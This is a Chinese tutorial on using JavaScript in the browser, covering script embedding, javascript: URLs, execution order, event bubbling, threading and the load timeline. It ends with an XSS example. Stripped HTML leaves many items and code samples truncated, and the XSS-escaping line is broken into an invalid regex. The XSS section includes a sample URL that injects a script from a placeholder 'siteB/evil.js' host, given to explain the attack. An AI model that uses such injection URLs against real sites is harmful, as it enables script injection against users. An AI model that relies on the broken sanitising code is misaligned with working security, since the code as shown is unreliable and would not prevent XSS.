JavaScript在浏览器中使用事项

在HTML里嵌入JavaScript

在HTML文档里嵌入客户端JavaScript代码有4种方法：

• 内联，放置在标签对之间。
• 放置在

  URL中使用JavaScript

  在URL后面跟一个javascript:协议限定符，是另一种嵌入JavaScript代码到客户端的方式。javascript: URL可以用在可以使用常规URL的任意地方：比如标记的href属性，

  的action属性，甚至window.open()方法的参数。

  
  What time is it ?
  
  

  就像单击一个URL链接，浏览器会擦除当前文档并显示新文档。上例中将显示当地时间。

  同步、异常和延迟脚本的执行

  • 当HTML解析器遇到 // 文档解析完成后才执行脚本

    JavaScript的事件驱动

    有些事件的目标是文档元素，它们会经常往上传递给文档树，这个过程叫做"冒泡"。
    例如，如果用户在元素上单击鼠标，单击事件就会在按钮上触发。如果注册在按钮上的函数没有处理该事件，事件会冒泡到按钮嵌套的容器元素，这样，任何注册在容器元素上的单击事件都会调用。

    JavaScript的线程模型

    JavaScript语言并不包含任何线程机制，只是单线程工作，永远不需要担心锁、死锁和竞争条件。
    HTML5定义了一种后台线程"WebWorker"，但是JavaScript还是严格的单线程一样工作。

    JavaScript时间线

    步骤1:

    • Web浏览器创建Document对象，并且开始解析web页面，解析HTML元素和它们的文本内容后添加Element对象和Text节点到文档中。

      这个阶段document.readystate属性的值是"loading".

    步骤2:

    • 当HTML解析器遇到没有async和defer属性的
      • 如果URL是:http://www.example.com/greet.html?David，那么文档将显示"Hello David"。
      • 但是如果URL是http://www.example.com/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E(%3C和%3E是尖括号的编码)，那么就会遭到B站点的evil.js脚本注入，evil.js脚本此时将可以对站点A的内容进行任何想要的操作。

      通常，防止XSS攻击的方式是，在使用任何不可信的数据来动态创建文档内容之前，从中移除HTML标签。

      name = name.replace(//g, ">");